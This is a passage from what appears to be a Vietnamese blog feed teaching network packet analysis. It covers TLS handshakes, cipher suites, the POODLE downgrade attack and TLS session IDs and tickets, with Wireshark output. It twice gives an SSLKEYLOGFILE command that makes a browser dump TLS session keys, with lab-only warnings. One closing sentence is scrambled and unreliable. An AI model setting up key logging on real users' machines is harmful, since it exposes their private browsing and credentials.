&lt;code&gt;Server Hello&lt;/code&gt; và bóc tách ý nghĩa của bộ công cụ mật mã hiện đại như ECDHE hay CHACHA20_POLY1305.&lt;/p&gt;
&lt;h2 id="1-bức-tranh-toàn-cảnh-tls-handshake"&gt;1. Bức tranh toàn cảnh TLS Handshake
&lt;/h2&gt;&lt;p&gt;Trước khi mã hóa bất kỳ dữ liệu thực tế nào (Application Data), máy khách và máy chủ phải thiết lập các quy tắc chung thông qua quá trình &lt;strong&gt;bắt tay TLS&lt;/strong&gt; (TLS Handshake). Quá trình này chỉ được bắt đầu sau khi hai thiết bị đã thiết lập xong kết nối vật lý qua TCP 3-Way Handshake ở Tầng 4.&lt;/p&gt;
&lt;p&gt;Các bước cơ bản của quy trình diễn ra như sau:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Client Hello:&lt;/strong&gt; Máy khách (như trình duyệt của bạn) gửi lời chào, kèm theo danh sách các bộ công cụ mật mã (Cipher Suites) mà máy của bạn có thể hỗ trợ.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Server Hello:&lt;/strong&gt; Máy chủ nhận lời chào, so sánh và chọn ra một bộ công cụ duy nhất tốt nhất để hai bên cùng sử dụng.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Certificate &amp;amp; Key Exchange:&lt;/strong&gt; Máy chủ gửi chứng chỉ (Certificate) để chứng minh danh tính, sau đó hai bên tiến hành trao đổi Khóa phiên (Session Key).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finished:&lt;/strong&gt; &amp;ldquo;Đường hầm&amp;rdquo; mã hóa chính thức hoàn tất. Từ thời điểm này, mọi dữ liệu HTTP mới bắt đầu được truyền đi dưới dạng ẩn danh (Encrypted Application Data).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="tls-handshake" class="gallery-image" data-flex-basis="432px" data-flex-grow="180" height="340" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/tls-handshake-cipher-suites/kk.png" width="613"&gt;&lt;/p&gt;
&lt;h2 id="2-đọc-hiểu-client-hello-trên-wireshark"&gt;2. Đọc hiểu Client Hello trên Wireshark
&lt;/h2&gt;&lt;p&gt;Chúng ta sẽ sử dụng bộ lọc &lt;code&gt;tls.handshake.type == 1&lt;/code&gt; trên Wireshark để xem máy khách mang những gì đến &amp;ldquo;buổi đàm phán&amp;rdquo; ban đầu.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Bộ lọc Wireshark để tìm gói tin Client Hello
# IP máy khách: 192.168.1.14 | IP máy chủ đích: 72.34.249.208

Handshake Protocol: Client Hello
 Handshake Type: Client Hello (1)
 Length: 1910
 Version: TLS 1.2 (0x0303)
 Random: a0c794e5688f06092ca15a0a7c7452952d79b8af66b763645a55c5d0689b60dd
 Session ID Length: 32
 Session ID: 5f9fe71acbee191437c11861cf72ad48870cb6bb38d3fd5e0bbe731b6e52a7c7
 Cipher Suites Length: 32
 Cipher Suites (16 suites)
 Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (0xc02c)
 Cipher Suite: TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xcca8)
 [...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Trong gói tin này, trường thông tin mang tính sống còn nhất là &lt;strong&gt;Cipher Suites (16 suites)&lt;/strong&gt;. Trình duyệt của bạn đang gửi một danh sách gồm 16 thuật toán mật mã khác nhau và truyền đạt thông điệp: &amp;ldquo;Đây là tất cả những vũ khí bảo mật mà tôi có, Server hãy chọn ra một cái nhé!&amp;rdquo;.&lt;/p&gt;
&lt;h2 id="3-giải-phẫu-cipher-suite-thuật-toán-chacha20_poly1305"&gt;3. Giải phẫu Cipher Suite (Thuật toán CHACHA20_POLY1305)
&lt;/h2&gt;&lt;p&gt;Ngay sau &lt;code&gt;Client Hello&lt;/code&gt;, Server sẽ đáp lại bằng gói &lt;code&gt;Server Hello&lt;/code&gt; (bộ lọc &lt;code&gt;tls.handshake.type == 2&lt;/code&gt;) và chốt lại một &amp;ldquo;bộ công cụ mật mã&amp;rdquo; duy nhất. Giả sử Server đã chọn &lt;code&gt;TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Dưới góc độ một SOC Analyst, bạn bắt buộc phải biết cách &amp;ldquo;dịch&amp;rdquo; chuỗi mã này từ trái sang phải:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;TLS&lt;/code&gt;:&lt;/strong&gt; Tên giao thức nền tảng đang sử dụng.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ECDHE&lt;/code&gt; (Elliptic Curve Diffie-Hellman Ephemeral):&lt;/strong&gt; Thuật toán dùng để trao đổi khóa. Chữ &amp;ldquo;E&amp;rdquo; (Ephemeral) đảm bảo tính &lt;strong&gt;Perfect Forward Secrecy&lt;/strong&gt; — mỗi phiên làm việc có một khóa riêng. Ngay cả khi hacker đánh cắp được Khóa bí mật tĩnh của máy chủ vào ngày mai, chúng cũng không thể dùng nó để giải mã các gói tin Wireshark bắt được từ hôm nay.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;RSA&lt;/code&gt;:&lt;/strong&gt; Thuật toán xác thực danh tính. Dùng để chứng minh với máy khách rằng Server thực sự là đúng địa chỉ (thông qua Certificate).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CHACHA20_POLY1305&lt;/code&gt;:&lt;/strong&gt; Thuật toán mã hóa đối xứng — phần lõi dùng để xáo trộn dữ liệu. Cực kỳ hiện đại, chạy mượt mà và tiết kiệm pin trên thiết bị di động so với thuật toán AES cũ.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SHA256&lt;/code&gt;:&lt;/strong&gt; Thuật toán băm dùng cho &lt;strong&gt;HMAC&lt;/strong&gt;, đảm bảo không một ai có thể thay đổi dù chỉ 1 bit dữ liệu trên đường truyền mà không bị phát hiện.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="4-giải-mã-dữ-liệu-tls-trong-thực-chiến-decryption"&gt;4. Giải mã dữ liệu TLS trong thực chiến (Decryption)
&lt;/h2&gt;&lt;p&gt;Bình thường, khi bạn soi các gói tin sau quá trình Handshake, bạn sẽ chỉ thấy một vùng xám xịt mang tên &lt;strong&gt;Encrypted Application Data&lt;/strong&gt; chứa toàn ký tự rác. Để phục vụ công tác điều tra phân tích mạng (Network Forensics), chúng ta có thể ép trình duyệt nhả &amp;ldquo;Khóa phiên&amp;rdquo; (Session Key) ra một file log, sau đó nạp file này vào Wireshark để giải mã toàn bộ luồng dữ liệu.&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Cảnh báo bảo mật:&lt;/strong&gt; Cú pháp dưới đây thiết lập biến môi trường để trích xuất khóa mã hóa riêng tư. &lt;strong&gt;Chỉ được phép thực hiện trên môi trường Lab hoặc máy phân tích cách ly.&lt;/strong&gt; Tuyệt đối không chạy lệnh này trên máy tính của người dùng thực tế vì nó sẽ làm lộ toàn bộ dữ liệu duyệt web (tài khoản, mật khẩu) của họ!&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Chỉ định đường dẫn file log để lưu Session Key của trình duyệt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;export SSLKEYLOGFILE&lt;span style="color:#f92672"&gt;=&lt;/span&gt;~/tls_keys.log
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Mở trình duyệt Firefox từ terminal hiện tại để bắt đầu ghi nhận khóa&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;firefox &amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sau khi cấu hình Wireshark trỏ đến file &lt;code&gt;tls_keys.log&lt;/code&gt; này (trong mục &lt;strong&gt;Preferences &amp;gt; Protocols &amp;gt; TLS&lt;/strong&gt;), phép màu sẽ xảy ra. Các gói tin vốn bị mã hóa đen đặc giờ đây sẽ hiển thị thêm một tab &lt;strong&gt;Decrypted TLS&lt;/strong&gt;. Bạn sẽ thấy rõ nguyên hình dữ liệu HTTP/2 trần trụi, bao gồm các phương thức &lt;code&gt;GET&lt;/code&gt;/&lt;code&gt;POST&lt;/code&gt; hay các chuỗi Header rõ ràng.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Việc đọc hiểu tường tận các bộ Cipher Suites và quy trình TLS Handshake giúp Blue Team đánh giá chính xác chất lượng bảo mật của các kết nối đang diễn ra trên hệ thống. Dù Tầng 6 đã tạo ra một đường hầm mã hóa kiên cố, nhưng chính những ứng dụng ở Tầng trên cùng mới là mục tiêu bị tin tặc khai thác nhiềutích &amp;ldquo;góc khuất ngây thơ&amp;rdquo; của hệ thống phân giải tên miền (DNS) và quá trình xin cấp phát IP của DHCP. Các bạn đừ nhất. Trong Bài 8 tiếp theo, chúng ta sẽ chính thức bước vào Lớp Ứng dụng (Application Layer - OSI 7) để phân ng bỏ lỡ nhé!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Lớp 6 (Presentation) &amp; Lớp vỏ Mã hóa - Từ SSL đến TLS và Lỗ hổng POODLE</title><link>/post/presentation-layer-tls/</link><pubDate>Thu, 21 May 2026 22:50:00 +0700</pubDate><guid>/post/presentation-layer-tls/</guid><description>&lt;p&gt;Chào mừng các bạn tiếp tục với Series Giải phẫu Mạng &amp;amp; Packet Analysis! Ở bài trước, chúng ta đã tìm hiểu cách Tầng 5 duy trì các phiên làm việc, nhưng nếu dữ liệu (như mật khẩu, cookie) cứ thế truyền đi trần trụi thì hacker đứng giữa mạng sẽ dễ dàng tóm gọn. Đó là lúc Tầng 6 (Presentation Layer) xuất hiện như một &amp;ldquo;lớp vỏ bọc thép&amp;rdquo; để thông dịch, nén và xáo trộn mọi thông tin trước khi đẩy ra mạng. Hôm nay, chúng ta sẽ cùng mổ xẻ cơ chế hoạt động của Tầng 6, phân tích sự tiến hóa từ SSL lên TLS và bóc trần đòn đánh POODLE khét tiếng đã định hình lại tiêu chuẩn bảo mật toàn cầu.&lt;/p&gt;
&lt;h2 id="1-tầng-6-presentation-làm-nhiệm-vụ-gì"&gt;1. Tầng 6 (Presentation) làm nhiệm vụ gì?
&lt;/h2&gt;&lt;p&gt;Trong khi các tầng dưới chỉ lo việc &amp;ldquo;vận chuyển&amp;rdquo;, Tầng 6 đóng vai trò là một &amp;ldquo;người phiên dịch và đóng gói&amp;rdquo; dữ liệu chuẩn mực để đảm bảo hai thiết bị có hệ điều hành khác nhau vẫn có thể hiểu nhau. Ở tầng này, ranh giới giữa giao thức và định dạng tệp (như JPEG, MP4, JSON, XML) trở nên rất mong manh.&lt;/p&gt;
&lt;p&gt;Tầng 6 đảm nhiệm 3 trọng trách cốt lõi:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Thông dịch (Translation):&lt;/strong&gt; Chuyển đổi giữa các bảng mã (như ASCII sang UTF-8). Điều này đảm bảo khi bạn gõ tiếng Việt trên ứng dụng, máy chủ ở Mỹ vẫn hiển thị đúng chữ &amp;ldquo;Học&amp;rdquo; chứ không bị lỗi font ô vuông.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nén dữ liệu (Compression):&lt;/strong&gt; Giảm dung lượng dữ liệu (như luồng stream video MP4) trước khi truyền đi để tiết kiệm băng thông.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mã hóa (Encryption):&lt;/strong&gt; Đây là phần quan trọng nhất đối với Blue Team. Toàn bộ quá trình mã hóa dữ liệu để biến văn bản thuần thành một chuỗi ký tự rác (Encrypted Application Data) được xử lý tại đây. Đại diện tiêu biểu nhất chính là giao thức &lt;strong&gt;SSL/TLS&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="2-kỷ-nguyên-của-ssl-và-lỗ-hổng-chí-mạng-poodle"&gt;2. Kỷ nguyên của SSL và Lỗ hổng chí mạng POODLE
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Secure Sockets Layer (SSL)&lt;/strong&gt; là thế hệ giao thức mã hóa đầu tiên bảo vệ Internet. Nó hoạt động dựa trên cơ chế bắt tay bằng &lt;strong&gt;Khóa công khai&lt;/strong&gt; (Public Key) và &lt;strong&gt;Khóa bí mật&lt;/strong&gt; (Private Key). Máy khách sẽ kiểm tra &amp;ldquo;Chứng chỉ số&amp;rdquo; của Server, tự tạo ra một &lt;strong&gt;Khóa phiên&lt;/strong&gt; (Session Key) ngẫu nhiên, dùng Khóa công khai của Server bọc lại rồi gửi đi. Chỉ Server cầm Khóa bí mật mới mở được hộp để lấy Khóa phiên dùng cho việc liên lạc sau đó.&lt;/p&gt;
&lt;p&gt;Tuy nhiên, SSL 3.0 đã bị khai tử hoàn toàn bởi một lỗ hổng có tên gọi thú vị: &lt;strong&gt;POODLE&lt;/strong&gt; (Padding Oracle On Downgraded Legacy Encryption).&lt;/p&gt;
&lt;p&gt;Đòn tấn công này đánh trực diện vào cách SSL 3.0 xử lý các &amp;ldquo;dữ liệu đệm&amp;rdquo; (padding). Hacker đứng ở giữa mạng (MitM) sẽ chủ động can thiệp làm nhiễu kết nối để ép Server và Client phải &lt;strong&gt;hạ cấp&lt;/strong&gt; (Downgrade) bảo mật từ TLS xịn xuống dùng SSL 3.0 cũ. Sau đó, chúng liên tục gửi các gói tin chỉnh sửa nhẹ đến Server. Chỉ bằng việc quan sát Server trả lời là &amp;ldquo;Lỗi rồi&amp;rdquo; hay &amp;ldquo;OK&amp;rdquo;, hacker có thể đoán ngược lại từng byte dữ liệu. Sau vài trăm lần thử, chúng lấy được toàn bộ Cookie phiên đăng nhập của bạn mà không cần phải tốn công bẻ khóa.&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Cảnh báo SOC:&lt;/strong&gt; POODLE chứng minh rằng thuật toán mã hóa mạnh đến đâu cũng vô dụng nếu giao thức đàm phán bị lỗi. SOC Analyst cần cấu hình Firewall và Web Server (Nginx, HAProxy) tắt hoàn toàn việc hỗ trợ &lt;strong&gt;SSL v2/v3&lt;/strong&gt;, chỉ chấp nhận &lt;strong&gt;TLS 1.2 trở lên&lt;/strong&gt; để chống lại đòn Downgrade Attack.&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="3-sự-tiến-hóa-lên-tls-transport-layer-security"&gt;3. Sự tiến hóa lên TLS (Transport Layer Security)
&lt;/h2&gt;&lt;p&gt;Để khắc phục yếu điểm của SSL, &lt;strong&gt;TLS&lt;/strong&gt; ra đời. Thay vì chỉ mã hóa thụ động, TLS đóng vai trò như một hệ thống an ninh chủ động với các nâng cấp vượt bậc:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Xác thực mạnh mẽ:&lt;/strong&gt; Bỏ hẳn MD5 và SHA-1 để chuyển sang các hàm băm hiện đại như &lt;strong&gt;SHA-256&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Chống sửa đổi (Integrity):&lt;/strong&gt; TLS sử dụng thuật toán &lt;strong&gt;HMAC&lt;/strong&gt; (Hash-based Message Authentication Code). Kẻ tấn công không thể thay đổi dù chỉ 1 bit dữ liệu trên đường đi mà không bị hệ thống phát hiện.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bảo mật chuyển tiếp (Perfect Forward Secrecy):&lt;/strong&gt; Nhờ thuật toán trao đổi khóa &lt;strong&gt;ECDHE&lt;/strong&gt;, mỗi phiên làm việc có một khóa riêng. Ngay cả khi hacker đánh cắp được Khóa bí mật tĩnh của máy chủ vào ngày mai, chúng cũng không thể dùng nó để giải mã các gói tin Wireshark mà chúng đã nghe lén từ hôm nay.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="4-giải-phẫu-cipher-suite-trên-wireshark"&gt;4. Giải phẫu Cipher Suite trên Wireshark
&lt;/h2&gt;&lt;p&gt;Khi bạn truy cập một trang web HTTPS, trong gói tin &lt;code&gt;Server Hello&lt;/code&gt; trên Wireshark, máy chủ sẽ chốt lại một &amp;ldquo;Bộ công cụ mật mã&amp;rdquo; (&lt;strong&gt;Cipher Suite&lt;/strong&gt;) duy nhất để hai bên sử dụng. Dưới đây là cách SOC Analyst đọc hiểu bộ mã &lt;code&gt;TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Log Wireshark soi gói tin Server Hello chốt thuật toán mã hóa
# Bộ lọc: tls.handshake.type == 2

Handshake Protocol: Server Hello
 Version: TLS 1.2 (0x0303)
 Session ID Length: 32
 Cipher Suite: TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xcca8)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="Cipher-suite" class="gallery-image" data-flex-basis="455px" data-flex-grow="189" height="339" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/presentation-layer-tls/rsa.png" width="643"&gt;&lt;/p&gt;
&lt;p&gt;Cách đọc chuỗi Cipher Suite trên từ trái sang phải: ví dụ trong ảnh là TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ECDHE&lt;/code&gt;:&lt;/strong&gt; Thuật toán trao đổi khóa (đảm bảo Perfect Forward Secrecy).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;RSA&lt;/code&gt;:&lt;/strong&gt; Thuật toán xác thực danh tính (chứng minh máy chủ qua Certificate).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CHACHA20_POLY1305&lt;/code&gt;:&lt;/strong&gt; Thuật toán mã hóa đối xứng thực hiện xáo trộn dữ liệu (tốc độ cực nhanh trên thiết bị hiện đại).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SHA256&lt;/code&gt;:&lt;/strong&gt; Thuật toán băm dùng cho HMAC để kiểm tra tính toàn vẹn của gói tin.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Dưới góc độ phân tích sự cố, nếu muốn &amp;ldquo;giải mã&amp;rdquo; các gói tin TLS để xem dữ liệu thô (HTTP) trên Wireshark, bạn có thể buộc trình duyệt xuất file lưu trữ Khóa phiên (Session Key) ra ổ cứng:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Thiết lập biến môi trường để Firefox/Chrome nhả Khóa phiên ra file log&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Chỉ dùng trên máy Lab/máy phân tích, KHÔNG dùng trên máy người dùng thực tế&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;export SSLKEYLOGFILE&lt;span style="color:#f92672"&gt;=&lt;/span&gt;~/tls_keys.log
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;firefox &amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="5-mã-hóa-tls-có-an-toàn-tuyệt-đối"&gt;5. Mã hóa TLS có an toàn tuyệt đối?
&lt;/h2&gt;&lt;p&gt;Dù TLS rất thông minh, nó vẫn có những &amp;ldquo;gót chân Achilles&amp;rdquo; mà Blue Team cần dè chừng:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Tấn công vào Chứng chỉ (Certificate Attacks):&lt;/strong&gt; TLS dựa vào niềm tin của Certificate. Nếu hacker lừa người dùng cài một &amp;ldquo;Root Certificate&amp;rdquo; giả vào máy, chúng có thể thực hiện &lt;strong&gt;Man-in-the-Middle (MitM)&lt;/strong&gt; để giải mã mọi thứ trơn tru.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lỗ hổng thực thi (Implementation Bugs):&lt;/strong&gt; Lỗi không nằm ở lý thuyết TLS mà nằm ở người code thư viện — điển hình là vụ &lt;strong&gt;Heartbleed&lt;/strong&gt; trên OpenSSL cho phép đọc trộm bộ nhớ RAM của máy chủ.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tấn công kênh kề (Side-channel):&lt;/strong&gt; Hacker không thèm bẻ khóa, chúng chỉ ngồi đếm kích thước gói tin và thời gian phản hồi để đoán người dùng đang xem trang web gì.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Như vậy, đi qua Tầng 6, dữ liệu của chúng ta đã được đóng gói định dạng và khoác lên mình lớp áo giáp mã hóa bất khả xâm phạm. Giờ đây, &amp;ldquo;thùng hàng&amp;rdquo; này đã sẵn sàng để được giao cho Tầng cuối cùng: Tầng 7 (Application). Ở bài viết tiếp theo — Bài 7, chúng ta sẽ khám phá thế giới của Tầng Ứng dụng, nơi diễn ra các cuộc tấn công dữ dội nhất nhắm vào các giao thức DNS ngây thơ, quá trình xin cấp IP của DHCP và sự nguy hiểm của FTP truyền thống. Đừng bỏ lỡ nhé!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Lớp 5 (Session) &amp; Ranh giới của Phiên làm việc</title><link>/post/session-layer/</link><pubDate>Thu, 21 May 2026 22:30:00 +0700</pubDate><guid>/post/session-layer/</guid><description>&lt;p&gt;Chào mừng các bạn tiếp tục với Series Giải phẫu Mạng &amp;amp; Packet Analysis! Sau khi đã thiết lập xong &amp;ldquo;đường ống&amp;rdquo; vật lý vững chắc bằng giao thức TCP ở Tầng 4, hệ thống phải đối mặt với một bài toán mới: Làm sao để &amp;ldquo;nhớ mặt&amp;rdquo; người dùng mà không bắt họ phải đăng nhập lại sau mỗi cú click chuột? Đó chính là nhiệm vụ của Tầng 5 (Session Layer) — nơi ranh giới của các phiên làm việc được thiết lập và cũng là nơi hacker tung ra những đòn cướp quyền vô cùng hiểm độc.&lt;/p&gt;
&lt;h2 id="1-tầng-5-session-và-sự-cần-thiết-của-phiên-làm-việc"&gt;1. Tầng 5 (Session) và Sự cần thiết của Phiên làm việc
&lt;/h2&gt;&lt;p&gt;Khi bạn mở trình duyệt web và thực hiện nhiều yêu cầu cùng lúc (như mở nhiều tab, tải nhiều ảnh), dữ liệu có nguy cơ bị lẫn lộn vào nhau. Tầng 5 (Lớp Phiên) sinh ra để giải quyết vấn đề này bằng cách thiết lập, quản lý và kết thúc các phiên kết nối. Nó đóng vai trò tạo ra một ranh giới độc nhất cho từng cuộc liên lạc.&lt;/p&gt;
&lt;p&gt;Ở mức độ truyền tải, Tầng 5 quản lý &amp;ldquo;luồng&amp;rdquo; nói chuyện thông qua 3 chế độ:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Đơn công (Simplex):&lt;/strong&gt; Dữ liệu chỉ đi một chiều (như bạn nghe radio).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bán song công (Half-duplex):&lt;/strong&gt; Hai bên nói chuyện luân phiên (như bộ đàm — người này nói xong người kia mới được nói).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Song công toàn phần (Full-duplex):&lt;/strong&gt; Cả hai cùng nói và nghe cùng lúc (như gọi điện thoại di động).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tuy nhiên, bài toán lớn nhất ở đây là &lt;strong&gt;hiệu năng&lt;/strong&gt;. Việc bắt tay (Handshake) ở Tầng 4 (TCP) và Tầng 6 (TLS) cực kỳ tốn thời gian và làm &amp;ldquo;mệt&amp;rdquo; CPU của máy chủ. Để tối ưu hóa, Tầng 5 không bắt hai thiết bị phải chào hỏi lại từ đầu cho mỗi gói tin, mà sử dụng các cơ chế định danh đặc biệt.&lt;/p&gt;
&lt;h2 id="2-giải-phẫu-session-id-và-session-ticket-trên-wireshark"&gt;2. Giải phẫu Session ID và Session Ticket trên Wireshark
&lt;/h2&gt;&lt;p&gt;Để duy trì trạng thái kết nối, Tầng 5 sử dụng hai công cụ chính là &lt;strong&gt;Session ID&lt;/strong&gt; và &lt;strong&gt;Session Ticket&lt;/strong&gt;. Bằng cách dùng Wireshark, chúng ta có thể dễ dàng bắt được những &amp;ldquo;tấm vé&amp;rdquo; này bay trên không gian mạng.&lt;/p&gt;
&lt;h3 id="21-định-danh-cuộc-trò-chuyện-bằng-session-id"&gt;2.1 Định danh cuộc trò chuyện bằng Session ID
&lt;/h3&gt;&lt;p&gt;Sau lần bắt tay đầu tiên thành công, máy chủ sẽ cấp cho bạn một &amp;ldquo;mã số định danh&amp;rdquo; gọi là &lt;strong&gt;Session ID&lt;/strong&gt;. Khi máy bạn gửi hàng nghìn khung dữ liệu tiếp theo, nó chỉ cần đính kèm ID này. Server nhìn vào ID sẽ biết ngay: &amp;ldquo;Đây là khách quen, đã kiểm tra an ninh xong rồi, cho dữ liệu đi thẳng lên Tầng 6 để xử lý!&amp;rdquo;.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Lọc gói tin Server Hello để tìm Session ID do máy chủ cấp phát
# Cú pháp bộ lọc trên Wireshark: tls.handshake.type == 2

Handshake Protocol: Server Hello
 Handshake Type: Server Hello (2)
 Length: 118
 Version: TLS 1.2 (0x0303)
 Random: dc3aa089a0c8825e54cc0106c17a0cb90305776b2d49f405fe30dc0f2bfad484
 Session ID Length: 32
 Session ID: d451a3116057f79488abdba0e27371ef79b25a156fcd8afaf011b9aa5bdb900b
 Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="Giá trị của handshake" class="gallery-image" data-flex-basis="687px" data-flex-grow="286" height="222" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/session-layer/handshake.png" width="636"&gt;&lt;/p&gt;
&lt;p&gt;Cái dãy số Hex dài đó (d451a311&amp;hellip;) dùng để:
Định danh cuộc trò chuyện: Khi máy Lenovo của bạn gửi hàng nghìn Frame dữ liệu tiếp theo (như các gói DATA của HTTP/2), nó không cần phải gửi lại toàn bộ thông tin chào hỏi. Nó chỉ cần gắn cái ID này vào (hoặc dùng trạng thái đã thiết lập từ ID này).
Nhận diện người quen: Server nhìn vào ID này sẽ biết: &amp;ldquo;À, đây là gói tin tiếp theo của ông bạn ở IP 192.168.1.156, đã kiểm tra xong xuôi rồi, cho dữ liệu đi thẳng lên Tầng 6 để dịch luôn!&amp;rdquo;.&lt;/p&gt;
&lt;h3 id="22-vé-phục-hồi-nhanh-session-ticket"&gt;2.2 Vé phục hồi nhanh (Session Ticket)
&lt;/h3&gt;&lt;p&gt;Để đẩy nhanh tốc độ kết nối lại (0-RTT), máy chủ cung cấp một &lt;strong&gt;Session Ticket&lt;/strong&gt;. Đây thực chất là một cái &amp;ldquo;vé&amp;rdquo; lưu trữ trạng thái bảo mật của phiên trước đó. Thay vì phải tính toán lại các thuật toán mã hóa nặng nề, máy khách chỉ cần trình chiếc vé này ra để nối lại phiên làm việc ngay lập tức.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Lọc gói tin New Session Ticket để xem vé bảo mật được mã hóa
# Cú pháp bộ lọc trên Wireshark: tls.handshake.type == 4

TLSv1.3 Record Layer: Handshake Protocol: New Session Ticket
 Content Type: Application Data (23)
 Version: TLS 1.2 (0x0303)
 Handshake Protocol: New Session Ticket
 Handshake Type: New Session Ticket (4)
 Length: 53
 TLS Session Ticket
 Session Ticket Lifetime Hint: 600 seconds (10 minutes)
 Session Ticket Age Add: 3185912667
 Session Ticket Nonce Length: 8
 Session Ticket: af23cc7378d7440f6a6447726da2062b7d2198d9b8c7aaad6a71213fba0cbb97
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="Session-ticket" class="gallery-image" data-flex-basis="687px" data-flex-grow="286" height="222" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/session-layer/handshake.png" width="636"&gt;&lt;/p&gt;
&lt;h2 id="3-các-đòn-tấn-công-tử-huyệt-nhắm-vào-phiên-làm-việc"&gt;3. Các đòn tấn công tử huyệt nhắm vào Phiên làm việc
